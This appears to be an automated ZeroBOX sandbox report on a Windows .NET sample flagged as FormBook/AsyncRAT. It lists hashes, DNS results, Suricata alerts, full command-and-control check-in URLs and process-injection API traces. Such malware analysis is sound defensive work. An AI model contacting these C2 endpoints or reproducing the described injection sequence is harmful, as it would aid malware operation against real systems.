Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 2, 2021, 9:14 a.m.	Sept. 2, 2021, 9:27 a.m.

Size	491.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`d32b55acf96361e5c9c8da94c1b8a102`
SHA256	`4474153b57e54b4c94dc0c4e063dde0a7f296bc8f20a7a5d41d99d91c4239cc0`
CRC32	`CE4FA380`
ssdeep	`12288:Gr1oGQ/IsfJMTIgR5uxQkIVmVjW4tO7G:8kfJyIg3pV`
Yara	PE_Header_Zero - PE File Signature Generic_Malware_Zero - Generic Malware Is_DotNET_EXE - (no description) IsPE32 - (no description) Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
2528
- vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
  2252

Name	Response	Post-Analysis Lookup
www.streetracingscanner.com	CNAME streetracingscanner.com A 34.102.136.180	34.102.136.180
www.surukuku.com	CNAME surukuku.com A 34.102.136.180	34.102.136.180
www.zahnspange-billstedt.com	A 54.38.220.85	54.38.220.85
www.abc-staff.com	A 157.112.189.34	157.112.189.34
www.lechouba.com	A 204.11.56.37	204.11.56.37
www.sungoldhomeliving.com	A 34.98.99.30 CNAME sungoldhomeliving.com	34.98.99.30
www.hasanmedicalservice.com	A 209.99.40.222	209.99.40.222
www.crownfoamus.com
www.southerngiggle.com	CNAME southerngiggle.com A 34.98.99.30	34.98.99.30
www.popuality.com

IP Address	Status	Action
157.112.189.34	Active	Moloch
164.124.101.2	Active	Moloch
204.11.56.37	Active	Moloch
209.99.40.222	Active	Moloch
34.102.136.180	Active	Moloch
34.98.99.30	Active	Moloch
54.38.220.85	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49174 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49174 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49174 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 157.112.189.34:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 157.112.189.34:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 204.11.56.37:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49168 -> 157.112.189.34:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49167 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 204.11.56.37:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49169 -> 204.11.56.37:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 209.99.40.222:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 209.99.40.222:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49171 -> 209.99.40.222:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 34.98.99.30:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 34.98.99.30:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49170 -> 34.98.99.30:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 34.98.99.30:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 34.98.99.30:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49172 -> 34.98.99.30:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 54.38.220.85:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 54.38.220.85:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.102:49173 -> 54.38.220.85:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 2, 2021, 9:14 a.m.			0	0
IsDebuggerPresent Sept. 2, 2021, 9:14 a.m.			0	0

Uses Windows APIs to generate a cryptographic key (3 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 2, 2021, 9:15 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00376558 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 2, 2021, 9:15 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00376758 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 2, 2021, 9:15 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00376758 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 2, 2021, 9:14 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (8 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.streetracingscanner.com/imi7/?xVJtG4Th=QU9fCHBLx03MvK38nM/7WtCLFO3YLnqL/vhlC3s1yP3tXBo+uQY42+tjjgs8znE9OQOBbplY&1bw=L6Adp0uXjfjLdRAp
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.abc-staff.com/imi7/?xVJtG4Th=3LZm1iRscnuMBa7eXiRmSKBb+/H8umyVbYMems3WtreaiyBf/kGruuLJ8kceVNcEixw/yb8u&1bw=L6Adp0uXjfjLdRAp
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.lechouba.com/imi7/?xVJtG4Th=MwRNuVqXCpM5sEpAO0zMTUldSDVuT7ExLhu+MIv61AaTOVnP0USuu6w5JQ9RcA7a4eUeEmy4&1bw=L6Adp0uXjfjLdRAp
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.sungoldhomeliving.com/imi7/?xVJtG4Th=IZKb4HJqMXyJMqZyZW8ea0lZO79FfsahuXlqQdaEcqwYU031mgchofAtsOPxSTnym90X9JnS&1bw=L6Adp0uXjfjLdRAp
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.hasanmedicalservice.com/imi7/?xVJtG4Th=36a/pWAUo31W6XoGvo/EFTJaRW8hdP7wY8dwAf89+AmPJeYNnKnA1bZm+urrEDalaZ6CShBz&1bw=L6Adp0uXjfjLdRAp
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.southerngiggle.com/imi7/?xVJtG4Th=6DPXXUxjNhAUxFF0HJPciD7wCMdQ5Kjpq9HSdggl9T7QEXc1VUDnpVSWHHH5kcZKJv7Ciavm&1bw=L6Adp0uXjfjLdRAp
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.zahnspange-billstedt.com/imi7/?xVJtG4Th=vckBAd0DC4j+MsItYihpXhKwXQLQeZ6D36qA77B+GbHjiR6WahspDwP56vGaKNJ9R9phXkae&1bw=L6Adp0uXjfjLdRAp
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.surukuku.com/imi7/?xVJtG4Th=yw+D4kIyeS/IskVRD9OFJ/qm2U9gF1yLD+ymlIRM6+924SF3q5kTi3l3GSAbP9GS8/x7LGZc&1bw=L6Adp0uXjfjLdRAp

Performs some HTTP requests (8 events)

request	GET http://www.streetracingscanner.com/imi7/?xVJtG4Th=QU9fCHBLx03MvK38nM/7WtCLFO3YLnqL/vhlC3s1yP3tXBo+uQY42+tjjgs8znE9OQOBbplY&1bw=L6Adp0uXjfjLdRAp
request	GET http://www.abc-staff.com/imi7/?xVJtG4Th=3LZm1iRscnuMBa7eXiRmSKBb+/H8umyVbYMems3WtreaiyBf/kGruuLJ8kceVNcEixw/yb8u&1bw=L6Adp0uXjfjLdRAp
request	GET http://www.lechouba.com/imi7/?xVJtG4Th=MwRNuVqXCpM5sEpAO0zMTUldSDVuT7ExLhu+MIv61AaTOVnP0USuu6w5JQ9RcA7a4eUeEmy4&1bw=L6Adp0uXjfjLdRAp
request	GET http://www.sungoldhomeliving.com/imi7/?xVJtG4Th=IZKb4HJqMXyJMqZyZW8ea0lZO79FfsahuXlqQdaEcqwYU031mgchofAtsOPxSTnym90X9JnS&1bw=L6Adp0uXjfjLdRAp
request	GET http://www.hasanmedicalservice.com/imi7/?xVJtG4Th=36a/pWAUo31W6XoGvo/EFTJaRW8hdP7wY8dwAf89+AmPJeYNnKnA1bZm+urrEDalaZ6CShBz&1bw=L6Adp0uXjfjLdRAp
request	GET http://www.southerngiggle.com/imi7/?xVJtG4Th=6DPXXUxjNhAUxFF0HJPciD7wCMdQ5Kjpq9HSdggl9T7QEXc1VUDnpVSWHHH5kcZKJv7Ciavm&1bw=L6Adp0uXjfjLdRAp
request	GET http://www.zahnspange-billstedt.com/imi7/?xVJtG4Th=vckBAd0DC4j+MsItYihpXhKwXQLQeZ6D36qA77B+GbHjiR6WahspDwP56vGaKNJ9R9phXkae&1bw=L6Adp0uXjfjLdRAp
request	GET http://www.surukuku.com/imi7/?xVJtG4Th=yw+D4kIyeS/IskVRD9OFJ/qm2U9gF1yLD+ymlIRM6+924SF3q5kTi3l3GSAbP9GS8/x7LGZc&1bw=L6Adp0uXjfjLdRAp

Allocates read-write-execute memory (usually to unpack itself) (48 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x731a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x731a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 1835008 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c20000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00da0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00552000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00595000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0059b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00597000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0055a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0058a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00587000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70692000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00586000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef48000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:14 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0057d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006bd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006be000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006bf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01210000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01211000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01212000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01213000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01214000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01215000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01216000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01217000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2252 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00990000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x0007a400', u'virtual_address': u'0x00002000', u'entropy': 7.8587608257582175, u'name': u'.text', u'virtual_size': u'0x0007a224'}

entropy

7.85876082576

description

A section with a high entropy has been found

entropy

0.995926680244

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 2, 2021, 9:15 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (7 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Sept. 2, 2021, 9:15 a.m.	process_identifier: 2252 region_size: 163840 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002c8	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 2, 2021, 9:15 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL£ÆEà p Ð@@.textÐop ` base_address: 0x00400000 process_identifier: 2252 process_handle: 0x000002c8	1	1	0
WriteProcessMemory Sept. 2, 2021, 9:15 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2252 process_handle: 0x000002c8	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Sept. 2, 2021, 9:15 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿá¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"úHuQH"ÏH:QH"ÌH8QHRich9QHPEL£ÆEà p Ð@@.textÐop ` base_address: 0x00400000 process_identifier: 2252 process_handle: 0x000002c8	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2528 called NtSetContextThread to modify thread in remote process 2252
NtSetContextThread Sept. 2, 2021, 9:15 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4313120 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000002c4 process_identifier: 2252	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2528 resumed a thread in remote process 2252
NtResumeThread Sept. 2, 2021, 9:15 a.m.	thread_handle: 0x000002c4 suspend_count: 1 process_identifier: 2252	1	0	0

Executed a process and injected code into it, probably while unpacking (19 events)

Time & API	Arguments	Status	Return
NtResumeThread Sept. 2, 2021, 9:14 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2528	1	0
NtResumeThread Sept. 2, 2021, 9:14 a.m.	thread_handle: 0x00000158 suspend_count: 1 process_identifier: 2528	1	0
